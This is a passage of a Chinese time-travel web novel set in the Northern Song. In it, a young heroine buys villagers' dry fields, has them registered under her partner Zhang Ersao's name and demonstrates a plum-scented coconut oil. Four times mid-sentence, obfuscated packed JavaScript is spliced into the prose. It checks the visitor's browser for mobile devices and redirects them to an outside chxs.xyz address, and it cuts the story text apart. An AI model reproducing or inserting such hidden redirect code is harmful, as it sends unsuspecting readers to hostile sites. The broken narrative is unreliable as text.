王文茵感到好笑，她把文安世当小孩鼓励：“既然你这么信任我，那我自然也不能辜负，放心吧，我会给你加油鼓劲的。” “何谓加油？”文安世认真道。 王文茵张了张嘴，这才意识到跟这个汽车还没出现的朝代的人说加油是多么荒谬的事，不过她最擅长找补，便瞎掰道：“着火的时候往火堆里加一勺油，火是不是烧得更猛烈了？加油的意思便是再添一把火，嘿嘿。” “原来如此。”文安世不疑有他，对王文茵擅长生造词汇的能力相当佩服：“以你的学问，若是能参加科举必定能高中进士。” “中进士干嘛？做官吗？”王文茵不屑道：“官场那么凶险，哪有民间这般自在。” 文安世却摇头，“民间固然自在，但若是想为百姓做实事，还是少不得官家的支持。比如开荒修水利，这些工程都需要仰仗朝廷的力量才能实现。” 王文茵无从反驳，真正能够解决流民的生存问题，改变这个社会贫富差距的人只有一个，那便是高居庙堂之上的官家。可现实是宋哲宗赵煦于元丰八年（1085年）即位为帝，却由太皇太后高氏（高滔滔）临朝听政。高氏反对王安石的熙宁变法，将所有主张变法的新党官员逐出朝廷，力图恢复旧法，历史上称为“元祐更化”。【注1】 “如今官家尚未掌权，未来如何尚且不知。当年若不是先帝力排众议，王相公又怎么可能实现自己富国强民的宏图大志？” 王文茵隐晦道。 像是知道她在担忧什么，文安世非常肯定地告诉她：“官家虽然年幼，却是少年聪慧，是非分明，勇毅有担当之人。官家从小就崇敬先帝的宏图大志，虽则眼下尚无实权，却从未放弃过收复燕云十六州的决心。” 生怕王文茵不信，文安世还给她讲了一个八卦，“先帝去世时，辽国曾派一位使者前来吊唁。宰执蔡相公（蔡确）担心胡人的面貌太过粗野，会惊吓到官家，便暗中提醒官家莫要害怕。谁知官家闻言却道：辽国使者可是人？蔡相公愕然。官家又笑道：既然是人我又何须惧怕？而后辽国使者见官家虽则年幼却气度非凡、坚定无畏的样子也深感佩服，暗叹我大宋后继有人，不敢再有冒犯之想。”【注1】 王文茵虽然没有见过赵煦，但从后世的历史书中了解过他的生平和为人，宋哲宗赵煦被后人誉为宋朝唯一的铁血皇帝，这一点跟文安世对他的评价倒是对得上。 “如此，甚好。”王文茵并不认为知道历史走向的自己可以扭转或改变历史，无论赵煦是个怎样的皇帝，都改变不了北宋即将灭亡的事实。 文安世并不知道王文茵内心所想，听她语气沮丧不免联想到她的身世，想来应该是为王相公感到难过。他想说几句安慰她的话，却又不知该从何安慰起，在腹内来回打草稿，还没等他说出口就被山下传来的吵嚷声给打断了。 守在米线作坊门口的王大崔不知为何突然跟本村的几户农民吵了起来，农民们试图越过王大崔闯进米线作坊，被王大崔拿着木棍挡在晒场上，双方互不相让，争得脸红脖子粗。 王文茵见状拔腿就往山下跑去，文安世怕她出事，带着陈武也跟了过去。 刚跑到晒场口，农户中便有人眼尖发现了王文茵，喊了一句：“王小娘子在那儿——” 众人立刻掉转身朝王文茵围了过来。 围上来的这几户农民先前曾到静缘庵换购过米线，都是老熟人。 王文茵心里纳罕，不知这些农户突然跑来找她所谓何事，便道：“各位乡亲若是想换购米线可同王叔协商。” 一众农户齐声道：“小娘子，我们不是来换购米线的，我们是来求你的。” “此话从何说起？”王文茵一头雾水。 王大崔跛着腿连蹦带跳跑到王文茵跟前挡住众人，叱道：“你说你们这些人怎么这么不懂人情世故，非要找小娘子麻烦，小娘子是你们想找就能找的吗？有事先跟我说不行吗？” “这事儿跟你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967425|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不上，赶紧让开。”其中一名农户语气不爽，先头王大崔连流民都不如，经常饿着肚子到村子里来讨要剩菜剩饭，如今可出息了，居然当上米线作坊的掌柜，农户们心里难免不平衡。 “什么叫跟我说不上……”王大崔还想再摆摆架子，却被王文茵拦下。 几个农户互相看了看对方，都在犹豫该如何开口，最后有个叫丁桂的庄稼汉从怀里掏出一份田契来道：“小娘子，这是我家的田契，总共两亩旱地，一亩水田，我想典给你，不知你是否愿意接受？” 王文茵惊诧不已，接过田契来看，发现丁家这份田契上虽然是三亩田，除了一亩水田是完整的“高田”（上等田），其余两亩旱地则被切割成三块，既有“新田”（开垦两年的田地），又有“间田”（下等田），分布在不同地块上。 “丁叔，好好的为何要典田？这可是立身之本啊。”王文茵不无惋惜道。 丁桂两只眼睛死死盯着王文茵手中的田契，眼里有着万分不舍，咬了咬牙道：“今年收成不好，余粮都快吃完了，可今年的秋税还没交，家里实在拿不出钱来，只能先将田地典卖了，待他日有了钱再赎回来。” “可若是没了田地，你们一家又靠什么活下去？” 丁桂像是下了很大决心似的扑通一下跪倒在王文茵面前，“求小娘子让我在米线作坊内谋一份工吧？” 王文茵还没反应过来，王大崔就已经抢先开了口，只见他脸上的肉都气歪了，戳着手指骂道：“好哇，你个丁老贼，算计得倒是精，我当你是真的活不下去才想典田给我们小娘子呢，原来是想借着典田的机会到米线作坊来蹭工啊！” 王大崔转头力劝王文茵：“小娘子，你可别被他骗了，先头他就来过几次，同我说想来作坊里打工，我没答应。现在居然变着法来骗你呢，什么典田，摆明了就是想用田地做抵押，先从你这儿要一笔钱交赋税，再从咱们作坊里赚钱把田赎回去。呵呵，这算盘珠子打得隔八百里地都听得见。” 王文茵心说，倒是没看错王大崔，虽然嘴巴大，但脑子好使，知道维护东家的利益，是个合格的管理人才。再看向丁桂，被王大崔戳破心思的他羞愧得低下了头，面红耳赤，恨不得找个地缝钻进去。 王文茵给王大崔一个眼神，示意自己心里有数。 狗腿王大崔心领神会，立刻退到一旁，手里的棍子依旧指着几个农户，以防有人对王小娘子不敬。 王文茵看了众人一眼，温言道：“大家的想法我理解，我也有几句实话想同大家讲。” 众人本来已经不抱什么希望了，闻言又抬起头来看向王文茵。 王文茵笑了笑，道：“典田我不需要，但若是大家愿意，可将自家的田地售卖于我，如何？” 丁桂同其他几名农户仿佛如遭雷劈，惨白着脸色颤声道：“卖……卖田？” 王文茵脸上在笑，态度却是不容置疑：“正是。” 40. 第四十章 买卖田地 卖田对农民来说等于是将全幅身家性命都交付出去，没了田地等于没有了根基，今后要么卖身做奴婢，要么屈身当佃农，最惨的就是沦为流民。 可这段日子在王文茵和文安世的帮助下，那些流民不是开垦梯田，就是修建茅草房，还能轮番在米线作坊打工赚钱，据说收入相当可观，这一切对丰收村的农民而言不啻于抓耳挠心的刺激。 “小娘子可否容我们商量一下？”丁桂纠结道。 王文茵笑盈盈道：“自然没问题。” 几户农民围在一起叽叽咕咕商量大计，一个个苦大仇深的样子，王文茵倒是一派轻松，好整以暇。 文安世对此颇为不解道：“我一直以为你是反对地主士绅兼并买卖农民土地之人，为何却……？” “为何我却要并购村民的田地？”王文茵眨眨眼，坦然道：“自然是因我朝律法允许自由开垦、流转、兼并土地呀。” 文安世摇头，“这不像是你的行事风格，背后一定有别的原因。” 王文茵奇怪地看了他一眼，语气不虞：“莫非在七衙内你眼里我就应该是个冤大头，整日介乐善好施，不求回报？” 文安世但笑不语，心说，你就口是心非吧你。 王文茵有些恼火，她感觉自己就像是个被看穿了诡计的孩子，文七郎对自己的了解似乎比她自己还多。 她不喜欢这种感觉，故意道：“我可不是什么大善人，我的每一分钱都是辛苦赚来的，不会轻易施舍给旁人。老话说，升米恩，斗米仇，我若是答应他们的要求把田典下来，待粮食产量翻了倍，他们便可随时反悔把田地赎回去，到那时我付出的心血岂不是全打了水漂？” “有道理。”文安世表示认同：“人心难测，防患于未然是应该的。” 有种一拳打在棉花上的挫败感，王文茵气道：“可不是嘛，有道是害人之心不可有，防人之心不可无。” 文安世忽然意识到王小娘子看似成熟的表象下其实还是个孩子，毕竟她也才十岁，比自己还小，这种反差萌让他感觉特别有趣，看她的眼神里便多了几分宠溺。 王文茵被他看得不好意思起来，气鼓鼓掉转头，气氛顿时有点尴尬。 文安世嘴角一弯，噙着笑打破尴尬，“你买田地打算做什么呢？” 老话说伸手不打笑脸人，文家七衙内都这般低声下气了，王文茵又怎能不给面子呢，叹了口气道：“我想用来做试验田，种植一些关系到民生的经济作物，比如棉花【注1】、油菜【注2】等。” 文安世的兴趣一下就被勾起来了，兴奋道：“你说的棉花可是原产于天竺（印度）、大食（阿拉伯）、西洲（非洲）的一种植物？” “正是。”王文茵点头，语气掩饰不住惊讶：“你见过棉花？” “尚未见过实物，但我在书上见到过关于这种植物的描述。据闻这种植物的花朵可用来纺织面料，不知是否如此？” 王文茵点头，“确实如此。有别于木棉粗糙的纤维质地，棉花的纤维蓬松细软，不仅适合填充保暖，更适合用来纺织棉布、棉线等织物。棉布也被称为吉贝布【注3】，质地比苎麻更加柔软细密，不仅保暖性好，用作贴身衣物比之丝绸有过之而无不及。” 文安世惊喜不已：“若真如此之好，那真应该在本朝境内推广种植，只是不知现下何处可以觅得棉花的种子？” “我已委托赵四郎去寻找棉花的种子，听说西域有人种植棉花，且收成颇丰。” 一听赵四郎的名字，文安世就有些吃味，雄竞心理作祟，忍不住抢白道：“何须托付他，我找西域使者打听一下便是。” 王文茵忍不住腹诽：难怪说男人至死是少年，幼稚！ 这边两人在讨论棉花，那边几户农民已经讨论出了一个结果，众人推举丁桂为代表跟王文茵谈判。 “小娘子，我们大家经过慎重商量后决定把自家的田地都卖给你。”丁桂忍着心痛，语气沉重，将收集起来的几份田契交到王文茵手中。 王文茵飞速翻看了几份田契，抬头眯起眼睛笑了笑，等着他的后半句话。 “不过，我们有两个条件。”丁桂换了口气道。 王文茵处变不惊，淡然道：“你且说说看是什么样的条件，看我能不能接受。” 丁桂看向身旁众人，大家都把希望寄托在他身上，丁桂紧张得咽了一口口水，鼓起勇气道：“第一个条件是卖田的地价不能低于市价。” 按照市价水田大约4贯，旱地不到2贯钱。【注3】 王文茵大概盘算了一下手头的流动资金，估摸着买下这些田地没什么压力，便爽快道：“那是自然。” 众人紧绷的脸皮肉眼可见地松弛了几分，丁桂也同样松了半口气，舔了舔唇道：“第二个条件是我们几户卖田地的人家都要在米线作坊谋一份工。” 这个条件还没等王文茵同意，王大崔首先跳出来反对：“不行！作坊排班已经满了，加不上人了，你们就别做梦了！” 丁桂被王大崔一再抢白，心头火起，对斥道：“小娘子才是米线作坊的老板，你算老几？” 王大崔生平第一次当掌柜，这段时间被那帮流民“掌柜前”“掌柜后”追捧得忘乎所以，突然有人当着所有人的面下他的面子，不把他放在眼里，他怎么能忍得了这口气，当即啐道：“好你个丁瘌痢，给脸不要是吧？老子便是米线作坊的掌柜，你说我算老几？” 丁桂是个瘌痢头不假，但他又十分忌讳别人揭他的短，当众被人羞辱，是可忍孰不可忍，啪叽一巴掌朝王大崔呼去。 “死瘸子，你骂谁瘌痢呢！” 挨了一巴掌的王大崔也不是个吃素的，随即将手里的木棍朝丁桂挥去，嘴里骂骂咧咧：“骂的就是你，臭不要脸的瘌痢头！” 丁桂眼疾手快，抬手隔档，胳膊肘生生吃了一棍，痛得龇牙咧嘴。 眼看两人就要扭打起来，陈武上前一手一个，将二人手腕扭转，强行拆开两只斗鸡，虎着脸凶他们：“休得无礼！” 陈武是练家子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14973977|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，打小跟在文安世身边当保镖，功夫都是军营里的武士亲自调教的，别说对付两个花拳绣腿的农夫，就是来几个土匪强盗也完全不在话下。 “武哥饶命！武哥饶命！”王大崔见势不妙，立马滑跪。 丁桂是个自尊心极强的，看不起王大崔这种不要脸皮的狗腿子，咬紧牙关默不作声，却也不敢再做反抗。 “陈武，先将他们二人放开吧。”文安世出声解围。 陈武立刻撒手，用眼神警告丁桂和王大崔别乱来。 王文茵冲文安世感激笑笑，回头对丁桂他们几人道：“米线作坊眼下已经有足够的人手，若是强行将你们几人安插进去，其他工友一样也会不满，是以，这第二个条件我不能答应。” 丁桂他们几人闻言脸上难掩失望之色，沮丧不已。 其中一人突然跪倒在王文茵面前苦苦哀求：“小娘子，都说你人美心善，是天仙下凡来拯救受苦受难的苍生，若是没有收入我们全家就只能饿死，你不能见死不救啊——” 呃，这是要道德绑架吗？王文茵轻蹙眉心。 王大崔气得蠢蠢欲动，却被陈武一个冷眼又盯了回去。 王文茵却不为所动，朗声道：“大家且听我把话说完。” 众人一听似乎有转机，脸上立刻又恢复了神采，异口同声道：“小娘子请说！” 王文茵扬了扬手中的几份田契道：“我适才看了看大家的田契，基本上每户都有水田并旱地，我的想法是每户人家都留下一亩水田作为保底，其余的田地可全部售卖与我。米线作坊虽然不需要人工，但我需要人帮忙将旱地改造为良田，至于工钱嘛自然是同米线作坊一样。诸位若是愿意，我可以马上同大家立契，如何？” 这么好的条件，哪还有不答应的道理？ 农户们喜不自禁，恨不得就地跟王文茵签订契约，生怕夜长梦多，出尔反尔。 王文茵出言宽慰他们：“大家莫要心急，我既答应了，便绝不反悔，况且还有七衙内作证，是不是？” 农户们连连点头称是，将一颗心放进肚子里，各自散去。 文安世似笑非笑看着王文茵，打趣她：“先前是谁说自己可不是什么大善人，赚的每一分钱都是辛苦钱，绝不会轻易施舍给旁人的？” 王文茵瞪他一眼，嘴硬道：“这你就不懂了，失去田地的农户要么失去自由，卖身为奴婢，要么就是做佃户。我不需要奴婢，自然是不可能卖下他们的。但若是让他们做佃户，既要给我交租，还要纳税、服徭役，负担沉重的佃户迟早会沦为流民，揭竿而起，到时候吃亏的还不是我自己。是以，给他们留下一亩良田，耕种些自家吃的口粮，再给我打工赚些铜钱用来交税，有了基本的生活保障，谁又会去干造反的事。一举多得，不是最好的方案吗？” 文安世满眼含笑，拱手致意：“小娘子说得有理，某虚心受教。” 一旁的陈武暗暗摇头，还真是一物降一物，自家七郎在王小娘子面前跟变了个人似的，简直没眼看。 41. 第四十一章 过户立契 王文茵赶早同穆叔他们一起去了朱仙镇。 香料铺子已经开始装修，穆叔找了个做学徒的木工打下手，再加上徒弟王小郎君三人，每日寅时从静缘庵出发，卯时到朱仙镇准点开工，酉时再收工回静缘庵，工程进度又快又顺利。 是以，王文茵这日一早到铺子里时，惊讶地发现再有六七天便可以完工了。 张二嫂见王文茵出现，以为她是来视察工作的，很是开心，絮絮叨叨将这些日子的安排都给她汇报了一遍。 “铺子里的店员都已经找到了，一共四位，是通过赵四郎介绍的镇上最靠谱的牙人周大【注1】挑选的。几个丫头都不是本地人，不过家世清白，模样也秀气，适合做店员。雇人的契约牙人那头已经备好了，就等着小娘子看过满意后立契。工费是五十贯钱一年，包吃住。” 王文茵点头，“价格合理。” 在北宋，奴隶买卖是不合法的，而奴婢也不是主人家的私产，所以双方只是雇佣关系。此外，雇佣奴婢还需要签订契约，标明年限、工钱等。最人性的是北宋的法律还规定了雇佣奴婢的最长年限。【注2】 “几个丫头这两天还没过来，我原本打算在附近给她们租个屋子住，结果阿萍他们一家说还是他们搬出去住比较好。我想了想觉得合理，毕竟他们一家人多，再加上早上还要出摊，比较嘈杂，分开住反而更便利。”张二嫂请示王文茵：“小娘子觉得如何？” 王文茵笑了笑，道：“我没问题，婶子，这等小事你自个儿安排便是，无须特地请示我。” “哎，那我便让阿萍他们先搬出去，附近正好有个带院子的老屋出租，租金不贵，只需稍微清扫一下便可入住。”张二嫂补充道：“待立完契约再把几个丫头接过来住下，正好可以开始培训了。” 王文茵含笑点头，张二嫂越来越有职业经理人的范儿了，做事井井有条，从容不迫。谁能想得到两个月前她还是个迷茫又不知所措的单身母亲，可见不管是古代还是现代，只要给女子创造条件，她们展现出来的才能不仅不逊于男子，甚至可能比男子更强。 张二嫂想了想，又道：“对了，我还雇了个帮忙做饭洒扫的婆子，名唤周阿黄（宋朝人称呼已婚妇人通常用夫姓+阿+父姓），是朱仙镇本地人。周婆子膝下只有一个儿子，参军去了，家中就婆媳俩和三个孙儿。平日里媳妇在家带孩子，她便出来打零工，赚钱贴补家用。我看她手脚麻利，人也厚道，便让她晨间给阿萍父女俩出摊打下手，晌午再过来铺子里做饭洒扫洗衣。虽是兼职，但工作量不少，说好了每日工钱一百文。” 一口气说了这么多，张二嫂生怕自己遗漏了什么没交代清楚，王文茵却按住她的手，婉言道：“婶子，铺子里的事你自己安排便是，我今儿过来是想同你商量个事儿。” 张二嫂瞪大眼，屏住呼吸，微微紧张起来。经验告诉她如果不是发生了什么大事，王小娘子是绝不会突然跑来找她商量的，因为她的小娘子可不是着急忙慌那类人。 “是……发生什么事了吗？”张二嫂咽了咽嗓子，语气发颤。 王文茵抿嘴笑道：“别紧张，不是坏事儿，昨儿村里几户农民来找我卖田地，我已经答应了。” “买田地？！”张二嫂不敢相信自己耳朵听到的，惊喜道：“小娘子这是要当地主了？” 王文茵含笑点头，“那些田地加起来大概有十几亩，多数为旱地，水田只有少数几亩。” 张二嫂本就是农户出身，对农事自然比王文茵懂得多，一听村里人卖给王文茵的多数为旱地，立刻摇头劝止：“小娘子，旱地不好打理，能种的作物有限，产量还低，那些农户怕不是见你年轻忽悠你呢，切莫上当受骗啊。” “婶子别担心，我心里有数的。”王文茵告诉张二嫂：“我的计划是将旱地全都改造成水田，这样能种植的作物便不受限制了。” 旱地改水田在张二嫂听来是不可思议的事，“旱地改水田？那得耗费多少人力、物力和财力啊？况且也很少听说有人这么干的，小娘子还不如直接买水田来得划算。” “旱地改水田确实需要耗费大量的人力、物力和财力，不过一旦改造成功就是造福子孙后代、功在千秋的好事。”王文茵道出自己买旱地的真正目的。 经过这段时间的相处，张二嫂多少已经有点了解王文茵的性格了，她不会做无用功，更加不会浪费时间和精力去做不值得的事，既然她说要改造旱地为良田，想必是有她自己的打算。 “小娘子打算如何改造旱地？”张二嫂道。 王文茵起身拿起笔开始在纸上边写边画，“旱地最大的问题就是缺水，所以旱改水第一步便是修建蓄水池和灌溉渠，并将水渠中的水通过输水管输到田地里去，这样便能保证庄稼旱涝保收了。”【注3】 “修建蓄水池和灌溉渠？用什么修建？”在张二嫂的概念里，农民都是靠山吃山靠水吃水，从来没有人能凭一己之力修建蓄水池和灌溉渠，将宝贵的水资源保护起来以防旱灾。 王文茵便将自己跟文安世一起研制水泥混凝土蓄水池的事讲给张二嫂听。 张二嫂听完啧啧咂舌：“小娘子说的这个什么泥什么土的别说没见过，我就是连听都没听说过。果然，人还是要多念书，那句话咋说来着‘书中自有黄金屋，书中自有千钟粟’。回头我一定督促我家孩儿好好念书，就算考不上举人，也比大字不识的多数人要强不少。” 张二嫂虽然识字不多，但对宋真宗赵恒写的这首《劝学诗》倒是情有独钟，时不时拿出来鞭策儿子要努力上进，争取通过高考，哦不，科举改变底层泥腿子身份，实现阶级飞跃。 王文茵一把握住张二嫂的手，商量道：“婶子，我打算将这些田地都登记在你的名下。” 张二嫂惊得跳起来，“那怎么可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978958|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以！小娘子你买的田地怎么能给我？我受不起！” “你受得起。”王文茵笑道：“买田地的钱你出三成，我出七成，这样不就行了？” 张二嫂头摇得像拨浪鼓，“不行，不行，那样我岂不是占了大便宜？何况我也没这么多银子。” “银子你无需担心，我这儿有，可以先帮你垫上。这些田地就当是我们共同投资的，今后若是你有了足够的银子也可将我这一份赎买过去，这样就都是你的田产了。” 张二嫂吞了吞口水，“小娘子就不怕我私吞了这些田地？” 王文茵噗嗤一笑，“婶子是什么样的人我会不清楚？” 张二嫂感动不已，泣声道：“不过是一碗稀饭的滴水之恩，换来的却是小娘子的涌泉相报。我上辈子一定是做了什么好事，这辈子才会遇见小娘子你……” 王文茵拍了拍张二嫂的手，轻描淡写道：“若是婶子你自己不努力，我也帮不了太多。” 对于曾经失去过土地的张二嫂来说，重新拥有属于自己的田地就跟做梦一样，但现在王小娘子告诉她，只要努力就能实现梦想，她信了，真信了。 “嗯，我信小娘子的话！”张二嫂重重点头发誓：“为了更好的明天，我会加倍努力，争取早日把咱们的香料铺子开到汴京城里去，还要在全国各地开那什么锁的铺子。” “连锁铺子。”王文茵笑眯眯补充道。她不无欣慰地发现，经常听她画大饼的张二嫂已经不知不觉被潜移默化了。 ***** 翌日，王文茵偕同张二嫂和卖地的农户一同前往县衙办理土地转让过户手续。 由于宋朝的土地所有权交易频繁，所以政府对土地买卖实行了规范化管理手续，意即买卖土地的双方需要在当地的政府机构办理登记备案手续，以作为土地产权转移的证明。而这种土地买卖的规范化管理正是国家对土地买卖合法性的承认和保护。【注3】 待一切手续办完，张二嫂捧着由她亲自签字画押的地契激动不已，“小娘子，你快掐我一把。” “做什么？”王文茵依言轻轻拧了张二嫂的胳膊一下。 “再用力一点。” 王文茵使出了吃奶的劲一拧，张二嫂痛呼出声，王文茵吓了一跳：“是不是很疼？” “疼！真疼！”张二嫂眼泪都疼出来了，脸上却笑开了花：“真的不是做梦，我又有自己的田地了！” 王文茵失笑，“婶子，这不是梦。” 跟张二嫂形成强烈对比的是那几个卖地的农户，虽然听从王文茵的意见每户都保留了至少一亩水田，可失去的毕竟都是几辈子攒下来的命根子，能不心疼吗？ 几名农户愁眉苦脸，见张二嫂喜气洋洋地捧着原本属于他们的地契，不由心生嫉妒，不知是谁阴阳怪气了一句：“王小娘子出钱买的地，凭什么登记在她一个流民户下？真不要脸！” 42. 第四十二章 王文茵闻言微微皱眉，刚想出面解释什么，却被张二嫂抢先了一步。 “这位刘家嫂子是在说我吗？”张二嫂笑吟吟上前一步站到刚刚出言挖苦她的那位农妇面前。 农妇刘大娘子没想到张二嫂居然有脸出来当众逼问她，难堪了两秒立刻发挥泼妇本色，挺胸叉腰驳斥回去：“对啊，说的就是你！说错了吗？你也好意思拿着人家王小娘子的地契说是自个儿的。” 张二嫂脸色一变，就在所有人都以为她要跟刘大娘子干架的时候，她突然笑了起来，“你没说错，这些田地是王小娘子出钱买下的，但我也占了股份，不信你可以问问小娘子，是也不是？” 农户们事先并不清楚王文茵跟张二嫂的约定，只是奇怪为什么明明是王小娘子出钱买地，最后却登记在了张二嫂的名下。更让他们难以接受的是张二嫂是逃荒来此地的流民，说白了是外来户，在本地人眼里外来户就是低他们一等的寄生虫。 结果现在外来户摇身一变成了村里除了文家庄以外拥有田地最多的大地主，而他们这些本地人却差点沦为破产的佃户，这叫他们面子里子往哪搁？ 众人齐刷刷看向王文茵，向她求证，王文茵微微颔首，正色道：“这些田地确实是张二嫂与我共同出资购买的。” “既是二人共同出资购买，为何只登记在张二嫂一人名下？”有人提出质疑：“小娘子就不怕某人图谋不轨，独吞了全部田地？” 王文茵淡然一笑，语气却不太客气：“我信得过二婶子的为人，且这是我与婶子之间的私事，无须向诸位交待。” 王小娘子都这么说了，其他人自然不好再说什么，除了羡慕嫉妒恨，他们也不能干啥，一时间气氛有些尴尬。 “大家听我说。”张二嫂打破尴尬道：“我知道大家心里都不好受，不到迫不得已谁会愿意卖掉自家的田地，土地是咱们农民的根基，没了地就跟孤魂野鬼一样没了归宿。” “我也曾跟大家一样，因为欠下高利贷卖掉了家里全部的田地。没了地只能到处流浪，跟着其他流民要饭讨生活，最后流落到静缘庵。如果不是遇到小娘子，我都不敢想自己还能再度拥有属于自己的田地。所以大家别灰心，跟着小娘子好好干，攒了银子再把田地买回去便是。” 张二嫂的话重新燃起了众人的斗志，大伙儿纷纷说：“二婶子说得对，你这样都能翻身，我们必然也可以！至少我们还有自己的地保底，不至于穷到去要饭。” 适才刻薄过张二嫂的那位刘大娘子面红耳赤，她男人刘大在她耳畔嘀嘀咕咕劝了好久，她拗着脖子不吭声。 刘大气急，一跺脚自己跑过来给张二嫂道歉：“二婶子，我家婆娘多有得罪，你切莫放心里去，她就那脾气，人是好的，干活也勤快，以后你多帮衬我们啊。” 刘大一脸巴结讨好，刘大娘子心里更气了，自己男人没骨气，巴结一个外来户，不是存心落自己面子吗，一扭身，气呼呼走了。 刘大很尴尬，“小娘子，二婶子，你们别介意，我替我家婆娘给你们道歉。” 张二嫂十分大度，摆手道：“刚卖了地，心情不顺畅，可以理解。” 刘大心头一热，这张二嫂觑着比王小娘子更好说话，便顺杆往上爬，觍着脸道：“适才听人说二婶子的香料铺子马上要开张，不知人手够不够？我家二丫四丫都是勤快好使唤的，二婶子不如雇了她们去？” 张二嫂虽然大度，却不是个耳根子软的滥好人，她可是职业经理人，才不会因为一点买地的情分就掉进人情陷阱里。 “那感情好啊。”张二嫂笑得像只笑面虎。 刘大一听有戏，高兴得差点给张二嫂磕头，却听她语调一转道：“只是眼下铺子里已经招满人了，不过你放心，我记在心上，等下次再招人一定找你们家二丫四丫哈。” 虽然没有明着拒绝，刘大又怎会听不出来就中含义，一颗心重重坠地，暗暗埋怨自家婆娘不懂事，开罪了张二嫂，不然二丫四丫就能去她铺子里打工赚钱贴补家用了。 县衙这边事了结，王文茵便跟着村民一道回丰收村去了，她要着手安排旱地改水田的工程，还要研发香料工坊的新产品。按说这么多事纠缠在一块儿换成旁人早就忙疯了，但王文茵懂得如何把工作分摊出去。 她不怕技术泄露，虽然在这个尚未有专利保护却对新技术保密极其严苛的朝代，一项新技术就能让人吃一辈子专利，甚至能让人实现财务自由，但成为汴京首富从来不是王文茵的目标，她要做的事远比成为汴京首富更有意义。 ***** 刚回到静缘庵周婆子便告诉王文茵赵四郎来了，此刻正在禅房内替妙善看病。王文茵想起几天前跟他的约定，想必是为了椰子油护肤品来的，便转身去实验室里等他。 没一会儿，赵元宁在静尘和妙善的陪同下来到实验室。 才刚进门，见到王文茵赵元宁便上前来打趣她：“听说小娘子买了不少山下村子里的田地，升级做地主了？” 王文茵不爱炫富，尤其在妙善面前，暗暗剜了赵元宁一眼，正色道：“不过是一些旱地，谈不上什么地主。” 妙善先前听闻王小娘子居然买了山下好些田地，心里那叫一个懊悔。她怎么能预见得到当初那个穷困潦倒被亲姑母扔到静缘庵来等死的孤女，才过去个把月居然摇身一变成大地主了。而今连她们静缘庵的尼姑还要仰仗她的鼻息，在她手底下讨生活。哎，早知道，早知道她当初就应该好好伺候她，这么一尊财神爷进门她居然有眼不识泰山，罪过，罪过。 赵元宁是何等机灵之人，一点就通，马上转换话题：“你要的蜂蜡和瓷瓶我都带来了，不知上回做的椰油现在如何了？” “你来的正是时候，上次冷萃的椰油已经用脂吸法增加了天然的梅香。”王文茵带赵元宁去隔壁的生产车间看成果。【注1】 妙善犹豫着要不要跟着一块儿去，她自持身份从不当着王文茵的面进出生产车间，但私底下经常会向静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14983059|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘打听制作香皂的方法。有时候静尘都替师父感到别扭，王小娘子从来不曾禁止师父出入生产车间和实验室，师父此举等同于此地无银三百两。 “那个啥，你们去吧，我先回去休息了。”妙善十分刻意地道了一声。 王文茵却面带微笑邀请她：“师太不想一起过去瞧瞧吗？” 妙善的老脸上居然晕出了一丝羞涩：“不是保密的技术吗？我跟着过去瞧，合适吗？” 王文茵扑哧一笑，“师太又不是外人，怕什么。”说完做了一个请的手势。 妙善心花怒放，终于可以光明正大进入生产车间瞧瞧香皂的成品了。 几人换过干净的拖鞋走进生产车间，王文茵将一扇竹制的模具打开来给赵元宁他们几人看。这模具虽是竹制的，但底盘却是一整块的瓷器，顶上的盖子也是带手柄的瓷盖。 王文茵拿起手柄掀开盖子边角的瞬间，一股淡淡的腊梅清香便萦绕在众人的鼻端。 赵元宁耸起鼻子嗅了嗅，“是腊梅香吗？” “正是。”王文茵将模具展示给大家看，只见上面整整齐齐排列着一朵朵已经发黄干脱的腊梅。 “这些腊梅是做什么用的？”赵元宁好奇道。 “这叫脂吸法，通过这种方法可以让冷萃的椰油吸满梅香的精髓。”王文茵将干脱的腊梅挑拣干净后，底下便是一层乳白的油脂。她找来一片竹篾，从中剜了少许油脂，分别抹在其余三人的手背上，“可用手指将椰油抹匀，看看是什么感觉。”【注1】 